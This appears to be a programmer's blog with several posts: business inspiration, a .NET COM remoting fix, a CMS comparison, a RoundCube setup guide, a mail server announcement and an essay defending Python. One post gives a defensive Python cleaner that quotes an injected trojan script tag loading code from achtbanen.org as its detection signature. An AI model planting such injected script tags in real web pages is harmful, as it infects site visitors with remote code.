Inspiration + programmer

I admit sometimes i feel darn old and tired of programming. All these Malaysia boleh and after 11 years of starting my company i have not succeeded in getting my product out in a big way to the world. Yes it sold well in Malaysia and i exported some of my work in component to Europe, but the product as a whole by me and my team is not exporting.

I need inspiration and i need it badly.

Thank God…last week i stumble accidently on my answer. Its a watch. What has a watch gotto do with my line of work?Everything.

For one, you see all watches does more or less the same thing and yet each company behind those brands manages to export and have its own customers and loyal followings. In today’s world, you will have to strike lottery to be doing a software that someone else does not have or works similarly.

Second, watches is about craftsmanship, material, engineering and technology . Technology however is limited only to certain brand of watches . Needless to say watches that markets only on heritage and brand has zero inspiration to me.

If the watches companies could survive and yet make a good living out of it and export to the whole world, i reckon i could too. That is the first line of inspiration i found.

The best watch company that have the right ethos and philosophy is Casio G-Shock. Yeah sure its no prestigious bs and ego marketing, but hell the inspiration that G-shock provides is everything i needed to get my product in line.

If i could get our product in line with the Casio G-shock (g-shock.jp) …see that red text on the right in that site….yes that is what i want to do .

Shock the World.

Right now as i am typing this, i am wearing a G-shock 1500bd, stainless steel black strap . Yes, i am fully inspired to continue my journey in programming and steer my company and products using this philosophy. Build it bloody solid, anti-fragile, works like clockwork and loads of technology. Heck this thing does 200 meters water resistance while something that cost 10x is doing less.

.NET remoting via COM and Python

I bumped into a problem when trying to talk to C# DLLS that are created by my team while i am using Python. Creating a COM C# DLL is the key to bridge the communication since creating COM  interface via C# is the easiest thing to do compared to C++.

Now one of the C# DLLs is loaded as a singleton in Windows Service thus i need my C# COM to talk to the same class via remoting.

That is when i kept on encountering “return argument has invalid type”  whenever the remoting part was done. Putting "[Serializable]” into the class declarating did not help.

It ran perfectly when the class in the C# dll is used as a local class but it balked whenever the same class was returned via remoting and to me that is just ONE line of change.

// MyClass myClass = new ManagerClass()  <--- local class

// RemotingReturnMyClass(out myClass) <—remoting

I went on to combining the COM class code and the C# singleton DLL in the attempt to create a singleton COM so that the C# singleton class can be accessed via my python code to no avail.

After DAYS (yup days) of trying to solve it, i suddenly realize something that i missed. What if i put the C# DLL into c:\python25 since maybe the problem is all about the marshaller and proxy not being able to locate it…….

Bingo.

Plone, Drupal or What?

A quick migration of a static website to a CMS version was needed. However one of the requirement is that it must be as ‘non-programmer’ as possible since an assigned web designer will be doing the project.

After toying around with Plone, its way too technical and the curve is just too much to even be considered. It is also pretty slow, around 1.3 times slower in a Pentium Celeron with 1GB memory compared to Drupal on a dummy blank site.

So Drupal was next in the list and in fact chosen for the job , however as 2 weeks gone by, it was obvious that what we know about Drupal is in fact largely OVERRATED. There are certain theme layouts that doesn’t appear correctly on different browsers, very limited customization without going to php and way too much work for a non-technical person to get it looking nice, not to mentioned that most sites on Drupal looks similar.

Finally we stumbled upon SiteFinity by SmarterTools, the condition however was that it had to run on IIS but in this case we had no issues with that since the project doesn’t mind whether its IIS or Apache (who the hell going to modify apache code in the name of open source?)

SiteFinity not only blows Drupal to stoneage, more importantly we saved the Web designer guy from committing suicide. For once she was able to get something done.

** there is a community version available free for use

Removing “achtbanen” trojan links

Ok so someone got careless and somehow his website files have been replaced with links to a trojan. Each of the html/asp files have been injected with a script “<script src=http://achtbanen.org/images/blah blah blah></script>”

I was asked to write a script to clean it up, so here it is, a script injector remover, basically will work on any injected one liner script (modify the signature on “FindThis” in the source yourself), by default will remove this particular achtbanen line.

TrjLinkRemove.py

# Copyright 2009, codemagnet.blogspot.com

# Free to use ;-), just keep this credit comments.

import sys

import os

import nowlog

logfile = nowlog.SetLogConfig("removed.log")

"""<script src=http://achtbanen.org/images/b-one-default.php ></script>"""

FindThis = "<script src=http://achtbanen.org/images"

FindThisJS = "document.write('<script src=http://"

MaximumIndexTail = 150 #  search 150 off the first found signature

def dirwalk(dir):

    "walk a directory tree, using a generator"

    try :

        for f in os.listdir(dir):

            fullpath = os.path.join(dir,f)

            if os.path.isdir(fullpath) and not os.path.islink(fullpath):

                for x in dirwalk(fullpath):  # recurse into subdir

                    yield x

            else:

                yield fullpath            

    except :

        pass

def CleanFile (filename) :

    global FindThis

    try :

        f = open(filename, "rb")

        fb = f.read()

        f.close()

        i = fb.find(FindThis) 

        if i == -1 :

            return

        # found

        o = fb.find("</script>", i+len(FindThis), i+len(FindThis) + MaximumIndexTail)

        if o == -1:

            logfile.error("partial found, ignored, %s", filename)

            return

        # create a new file

        newfile = filename + ".trj.rmv"

        p = open(filename + ".trj.rmv", "wb")

        p.write(fb[:i])

        p.write(fb[o+9:])

        p.close()

        os.rename(filename, filename + ".xxxx")

        os.rename(newfile, filename)

        os.unlink(filename + ".xxxx")

        logfile.info("Cleaning : %s", filename)        

    except :

        logfile.error("unable to open file %s", filename)

        return

#-------------------------------------------------------------------------#

def CleanFileJS (filename) :

    global FindThis

    try :

        f = open(filename, "rb")

        fb = f.read()

        f.close()

        i = fb.find(FindThisJS) 

        if i == -1 :

            return

        # found

        o = fb.find(".php", i+len(FindThisJS), i+len(FindThisJS) + MaximumIndexTail)

        if o == -1:

            logfile.error("partial found, ignored, %s", filename)

            return

        # create a new file

        newfile = filename + ".trj.rmv"

        p = open(filename + ".trj.rmv", "wb")

        p.write(fb[:i])

        p.close()

        os.rename(filename, filename + ".xxxx")

        os.rename(newfile, filename)

        os.unlink(filename + ".xxxx")

        logfile.info("Cleaning : %s", filename)        

    except :

        logfile.error("unable to open file %s", filename)

        return

def cleanup (path) :

    for x in dirwalk(path) :

        o = x.split(".")

        if o[-1].lower() in ["asp","html","htm", "aspx"] :

            CleanFile(x)          

            continue

        if o[-1].lower() == "js" :

            CleanFileJS(x)        

if __name__ == "__main__" :

    if len(sys.argv) < 2 :

        print "Removes achtbanen trojan links from all webfiles"

        print "TrjLinkRemove <path>"

        print "e.g TrjLinkRemove c:\\iisroot"

        sys.exit(1)

    if not os.path.exists(sys.argv[1]) :

        print "invalid path given"

        sys.exit(1)

    cleanup(sys.argv[1])    

nowlog.py

import logging, logging.handlers

def SetLogConfig (namefile):

    logfile = logging.handlers.TimedRotatingFileHandler(namefile , 'midnight', 1, backupCount=14)

    logfile.setLevel(logging.INFO)    

    FORMAT = "%(asctime)-15s %(levelname)s:[%(thread)d]:%(message)s"           

    logfile.setFormatter(logging.Formatter(FORMAT))    

    ch = logging.StreamHandler()

    ch.setLevel(logging.INFO)

    Logger = logging.getLogger(namefile)

    Logger.addHandler(logfile)

    Logger.addHandler(ch)

    Logger.setLevel(logging.INFO)    

    return Logger

* sorry about the formatting –.- was using a code snippet plugin

World First Email Server with MSN Robot (Avatar)

This is probably true as the team gets ready to launch MailNow!5

MailNow! 5 is a Windows Mail Server that is of the likes of SmarterMail, Mdaemon, Merak and Hmail. The difference would be the amount of innovation that the team built into the MailNow! 5 that would eliminate log searching, greps etc for mail tracing , anti domain queue hogging and features on accountability that is way off the conventional school.

One distinct one is the world first Email Server Robot or Avatar. Its is an MSN robot that would inform users of the mail server status, new mails alert + details, collect log files, send SMS alerts, compose emails, retrieve emails, provide Email server spam statistics, emails per hour statistics and provide an “eliza” chat for idle users.

Looks really cool when it was demoed today. I guess the folks attending the launch on 12 Nov, 2009  will get some sneak peek too. (www.internetnow.com.my)

If you see any other mail servers adding this feature in the future, you heard it here first. That Malaysian made, MailNow! 5 , the windows mail server…had the first ever robot.

The team won’t be patenting it, the team here is just too engrossed in technical development than to invest in any legal procedures to write such a patent. Chances is MS Exchange would build one super robot in the future and who’s gonna sue?

RoundCube on Windows

While testing the high speed IMAP server that i developed, i wanted to see how it perform with some open source webmail, particularly those that works with IMAP.

One of the most popular one that i found is RoundCube.

1. First you need to install the WAMPSERVER. The php included should be version 5++

2. Open up php.ini and make sure “extension_dir” points to the right directory which is under …\php\ext. Put in the extension module for sql . e.g

extension_dir = "/usr/local/apache/php/ext"
extension=php_mysql.dll

Yeah i created an c:/usr even on my Windows so that i don’t have to much changes.

3. Open up httpd.conf and make sure u have :-

<IfModule dir_module>

DirectoryIndex index.html index.php

</IfModule>

Double check to see if the following is loaded :

LoadModule php5_module "/usr/local/apache/php/php5apache2_2.dll"

4. Install Mysql for Windows. (This can open up one whole can of worms if you get it wrong)

5. Open the INSTALL file found in RoundCube and follow the instruction to create the database for roundcube. I would advice you to stick to the names given.

5. Open the roundcube\conf\, rename the *.dist to *. (whithout dist extension). E.g  db.inc.php.dist –> db.inc.php

Edit db.inc.php and set the  : 

config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail'

to the username password that is created in 5, if you followed the default it should be :

config['db_dsnw'] = 'mysql://roundcube:password@localhost/roundcubemail'

Edit the main.inc.php and set the this to where ur email server is :

$rcmail_config['smtp_server'] = '10.8.0.21';

 

6. Now copy this whole roundcube folder to a subfolder under htdocs (apache) . For e.g c:\usr\local\apachce\htdocs\roundcube

And you can try and access it via : http://x.x.x.x./roundcube

Good luck.

Preaching Python : The obstacles

I am a big fan of Python. I am a Windows Developer. I’ve been doing C/C++ as long as i can remember before jumping to C# to leverage on the .NET.

I abandoned Java when it was 2 years old, it just never got me attracted. Maybe its because my field centralizes on system level and security and not enterprise business applications. 

Python has a distinct place in development today. But try convincing the following crowd :-

1. A Windows C#/ASP.NET developer, been using VB since 1997.

2. Java Developer with over 7 years of exp

3. C++ /C hardcore

4. PHP developer

Here are the list of the most common obstacles :

1. Python is SLOW

2. Python has no strong Enterprise Framework

3. Python has weak data typing, its hard to create APIs for users to extend.

4. C# can do everything that Python can and it works better in Windows and..faster.

5. Python GUI development in Windows sucks.

6. see no.1

Python is slow. Compared to  C. Which language is faster than C ? Assembly maybe but definitely not Java or C#.  Does the program speed really matter so much when practically in most applications the speed differences might not even exist to be practical.

Lets say you are developing a Network application that accepts data from the Internet and do something with it. The internet bandwidth speed from your ISP to you is nothing compared to your LAN speed. Lately The CPU processing power has grown from exponential to straight upward beating Moore’s Law.  In this case python would do perfectly well, the bottleneck is not the application speed but rather the internet speed.

One of the exceptions would be if you are doing scientific research and mathematical data of which nanoseconds per iteration differences might matter to you.

Python is slow? Use C then for the part that requires special computational algorithm . Recently a friend of mine showed me a game called Civilization, its the latest version and it uses Python. It runs fast and flawlessly on my Vista. I believe they used python just for the main framework of the game coding while the graphic rendering is back to C/C++ . Now that is smart.

Python is slow? Blink. Did u see the difference?